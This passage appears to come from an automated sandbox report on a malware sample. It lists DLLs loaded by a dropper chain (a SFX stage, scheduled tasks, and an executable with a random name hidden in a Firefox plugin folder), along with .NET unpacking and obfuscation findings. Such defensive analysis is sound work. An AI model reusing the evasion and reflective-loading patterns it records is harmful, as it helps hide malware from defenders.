Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: mscoree.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: apphelp.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: version.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: uxtheme.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: windows.storage.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: wldp.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: profapi.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: cryptsp.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: rsaenh.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: cryptbase.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: sspicli.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: rasapi32.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: rasman.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: rtutils.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: mswsock.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: winhttp.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: iphlpapi.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: dhcpcsvc.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: dnsapi.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: winnsi.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: rasadhlp.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: fwpuclnt.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: wbemcomn.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: amsi.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: userenv.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: winmm.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: winmmbase.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: mmdevapi.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: devobj.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: ksuser.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: avrt.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: audioses.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: powrprof.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: umpdc.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: msacm32.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: midimap.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: mscoree.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: version.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: uxtheme.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: windows.storage.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: wldp.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: profapi.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: cryptsp.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: rsaenh.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: cryptbase.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: sspicli.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: mscoree.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: version.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: uxtheme.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: windows.storage.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: wldp.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: profapi.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: cryptsp.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: rsaenh.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: cryptbase.dll
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Section loaded: sspicli.dll

Source: C:\Users\user\Desktop\AYUGPPBj0x.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\AYUGPPBj0x.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Directory created: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe			Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Directory created: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\dedb3a653dedd1			Jump to behavior

Source: AYUGPPBj0x.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: AYUGPPBj0x.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: kendalcp.exe, 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmp, kendalcp.exe, 00000003.00000000.1755541044.0000000000733000.00000002.00000001.01000000.00000007.sdmp, kendalcp.exe, 00000003.00000003.1757964410.0000000007249000.00000004.00000020.00020000.00000000.sdmp, kendalcp.exe, 00000003.00000003.1757299045.000000000693D000.00000004.00000020.00020000.00000000.sdmp, kendalcp.exe.0.dr
Source:	Binary string: System.Runtime.Serialization.ni.pdb source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Data.pdb source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Xml.ni.pdb source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Runtime.Serialization.ni.pdbRSDSg@h source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.ni.pdbRSDS source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: Bootstrapper.exe, 00000001.00000002.1998794448.00000195AE01E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdbP source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Windows.Forms.ni.pdb source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Drawing.ni.pdb source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Configuration.ni.pdb source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Data.ni.pdb source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Data.ni.pdbRSDSC source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Configuration.pdb source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Drawing.ni.pdbRSDS source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Xml.pdb source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.pdb source: Bootstrapper.exe, 00000001.00000002.1998794448.00000195AE01E000.00000004.00000800.00020000.00000000.sdmp, WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Core.ni.pdb source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Numerics.ni.pdbRSDSautg source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Data.pdbH source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Numerics.ni.pdb source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Windows.Forms.pdb source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Xml.pdb0Zj source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: mscorlib.pdb source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Windows.Forms.ni.pdbRSDS source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Core.pdbSystem.dll source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Drawing.pdb source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: Bootstrapper.exe, 00000001.00000002.2000622001.00000195C6572000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Core.pdb source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Runtime.Serialization.pdb source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Runtime.Serialization.pdbMZ source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Numerics.pdb source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.ni.pdb source: WER77DE.tmp.dmp.27.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER77DE.tmp.dmp.27.dr

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, ggvLrLPuejHMJvahmWu.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, ggvLrLPuejHMJvahmWu.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

.NET source code contains potential unpacker

Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, bNSEkQ3XCoGVYqqSU4I.cs	.Net Code: WyUW9oex7E System.AppDomain.Load(byte[])
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, bNSEkQ3XCoGVYqqSU4I.cs	.Net Code: WyUW9oex7E System.Reflection.Assembly.Load(byte[])
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, bNSEkQ3XCoGVYqqSU4I.cs	.Net Code: WyUW9oex7E
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, bNSEkQ3XCoGVYqqSU4I.cs	.Net Code: WyUW9oex7E System.AppDomain.Load(byte[])
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, bNSEkQ3XCoGVYqqSU4I.cs	.Net Code: WyUW9oex7E System.Reflection.Assembly.Load(byte[])
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, bNSEkQ3XCoGVYqqSU4I.cs	.Net Code: WyUW9oex7E

Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe

File created: C:\blocksavesperfMonitorDll\__tmp_rar_sfx_access_check_4346078

Jump to behavior

Source: kendalcp.exe.0.dr

Static PE information: section name: .didat

Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Code function: 0_2_00007FFD9B8800BD pushad ; iretd	0_2_00007FFD9B8800C1
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Code function: 1_2_00007FFD9B8CD668 push ss; retf	1_2_00007FFD9B8CD837
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Code function: 1_2_00007FFD9B8CA272 push ebx; retf	1_2_00007FFD9B8CA282
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Code function: 1_2_00007FFD9B8B62CC push esi; retf	1_2_00007FFD9B8B62CD
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Code function: 1_2_00007FFD9B8B00BD pushad ; iretd	1_2_00007FFD9B8B00C1
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_0071E28C push eax; ret	3_2_0071E2AA
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_0071CAB5 push eax; retf 0071h	3_2_0071CACE
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_0071ED46 push ecx; ret	3_2_0071ED59
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Code function: 11_2_00007FFD9B8B73A7 push ebp; retf	11_2_00007FFD9B8B73A8
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Code function: 22_2_00007FFD9B8955E4 push E8FFFFFFh; ret	22_2_00007FFD9B8955E9
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Code function: 22_2_00007FFD9B8873A7 push ebp; retf	22_2_00007FFD9B8873A8
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Code function: 22_2_00007FFD9B888774 push ss; ret	22_2_00007FFD9B888777
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Code function: 28_2_00007FFD9B8973A7 push ebp; retf	28_2_00007FFD9B8973A8
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Code function: 29_2_00007FFD9B8A73A7 push ebp; retf	29_2_00007FFD9B8A73A8

Source: AYUGPPBj0x.exe

Static PE information: section name: .text entropy: 7.996758380184572

Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, tyn797BCa3FXF9tcQVl.cs	High entropy of concatenated method names: 'P29', '_3xW', 'bOP', 'Th1', '_36d', 'gek9N4PfUA', 'xhq9JSHYJE', 'r8j', 'LS1', '_55S'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, sZ6D1bDafPa4jYUbEu.cs	High entropy of concatenated method names: 'kcq', 'YZ8', '_4bQ', 'G9C', 'jadewVQCXqOhBehwX5H', 'dNpX7HQr3o2E7rVmMGY', 'eoie75QPThWdV9sOrCO', 'BRlqUTQ6XBxd4v9YvQk', 'JWdTPYQFFQf2wreieN1', 'kPRWOOQGkSRHuoEgBd1'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, BIFZ1WI26txErNPP8Uo.cs	High entropy of concatenated method names: 'FhljnXM4fY', 'dUxgTTFlJWr0w22TZSx', 'h6IkBPFLjrqfXlakhBb', 'nN9BRrFt3rjmnTAGQcp', 'lf4tfKF8kviJNHexFkT', 'T75xyVFimhYOCETF6q4', '_3Xh', 'YZ8', '_123', 'G9C'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, NTWNck3vX82bml2PhuR.cs	High entropy of concatenated method names: 'yQIanhQHI2', 'YJGakZ04kN', 'E4Naz2VqHP', 'PEHBcr69PF', 'AFaBj3v5j1', 'D89BvWpBRg', 'GedBWXmP6f', 'zVqBa9nhqW', 'tHZBBqRQQ2', 'qVVhSvSW54fYhVFNlQ5'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, jlNkMHYIoRPgZvdNKL.cs	High entropy of concatenated method names: '_8Ok', 'YZ8', 'InF', 'G9C', 'AjHd69QUV6CEYOOFm1O', 'hfmJCyQSVobvBNA4Vgh', 'MssqoaQxKEELdUaTuX7', 'IkrjAUQvFL2N6tgqgeS', 'CCVxCaQjvo2BdxYtW70', 'ht3NeKQmhKG2CfG1exv'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, hdNChkcXdlhIdJUMhEb.cs	High entropy of concatenated method names: 'v4Gx2L1njX', 'kFcxe6kP90', 'OAMb7581sx8HOgLB1Vt', 'gpoht88WkOgRKrMYFkk', 'wk7yTu8ZHlNcfhHx7sa', 'vPOWLy8Bs50Qy7AXdvh', 'h07Rf58w2DHBuMvwCX0', 'A27bJo8JTlxhQ0V7rWn', 'dnVUoq8zJdRMWAFYRYY', 'r4saqAlsTjfwUWxESDm'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, OK2rg1772P8ggwTqRof.cs	High entropy of concatenated method names: 'Qkp', '_72e', 'R26', '_7w6', 'Awi', 'n73', 'cek', 'ro1', '_9j4', '_453'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, rYfWdqths3vRfQQibo.cs	High entropy of concatenated method names: 'pHw', 'YZ8', 'v2R', 'G9C', 'CIfxlrQkvJDRbcExo80', 'GZn4e6Q5UPmyjYIpcbi', 'xAsVNvQeBnc3jTx6h7C', 'JRHmHnQqju0yWSE7MfV', 'Uyh8BlQ2JbCispCGY2j', 'R1ZfAhQMkIOY71lcbsw'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, NV7SZX9yAwgZqeGyQA.cs	High entropy of concatenated method names: '_3OK', 'YZ8', '_321', 'G9C', 'hTLaa6dw6VhIeHOjQa7', 'TuyDfPdJtYnHBr1oXAa', 'B7sLygdzFoOME2bTj74', 'OV7ECYIsEikaHDfVOJp', 'qvtkDUIyt7skUkgAthf', 's8ICDSId1yTbdwPhOZ7'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, qEf5rLIApvUZluJop1Y.cs	High entropy of concatenated method names: 'p23', 'YZ8', 'Gog', 'G9C', 'jwVP7KPNDLZCwByM09c', 'JHOX6KPoiu8MDN9xORs', 'VTyaM3P9Gd2q8IoYILX', 'EM7er9PR3EA7IiYbEwa', 'V2pQyRPE9dqAQQjtMsb', 'fv1IUnPuyRlI3tgdFWh'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, mGUY7Dy8mONNhCY6kcV.cs	High entropy of concatenated method names: 'OOyPryblx0QMbWT9nSJ', 'C2XFKMbL0urQVmctwhx', 'TJWvKvbt7ahojnPK4OB', 'AMUFCAb88SgN1n2qhgV', 'IWF', 'j72', 'XeVCA24Ksa', 'NpDCpogQaU', 'j4z', 'dnTCykdUjO'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, uB6tjuyIknX8vV9Z1TV.cs	High entropy of concatenated method names: 'E31dHWDOtx', 'KA9dtEg0K2', 'mSpduSaZ3T', 'lX8dr8XXe6', 'ukhRCLjz3TD7wM2bhMt', 'OoMkaNjwcVKlnECdC4H', 'phCXfOjJUaiJMTTB2fd', 'Dqy3LXmsX9yAIJJGTc4', 'GUPPx3myTPHr7eBPY67', 'dO3eflmdaEc9ywia3d5'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, bNSEkQ3XCoGVYqqSU4I.cs	High entropy of concatenated method names: 'vIDWrJfMOg', 'cYFW467xAb', 'pfbWlKIAFc', 'cGZWoxp61f', 'kUlWbsD69F', 'fXqW15v72l', 'wBeW71IfRZ', 'WkcBCL3b6HH3kcDmb6c', 'Apqp1X3nepB6OV8skjb', 'zrn6Tf3g8rY9jPOeSWH'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, BwqDUNIY6B2YQ7GdZCQ.cs	High entropy of concatenated method names: '_7v4', 'YZ8', '_888', 'G9C', 'hY1FETG2oIevITxUiTr', 'bG8TtrGMpkO8LICrqDX', 'GFYJKQGDxX3AIFI2hie', 'XnDdr0GtCqQ2NcbMPmo', 'mqea2PG8odlZp8GuDxQ', 'WUhLKuGlRov9tUOLndj'
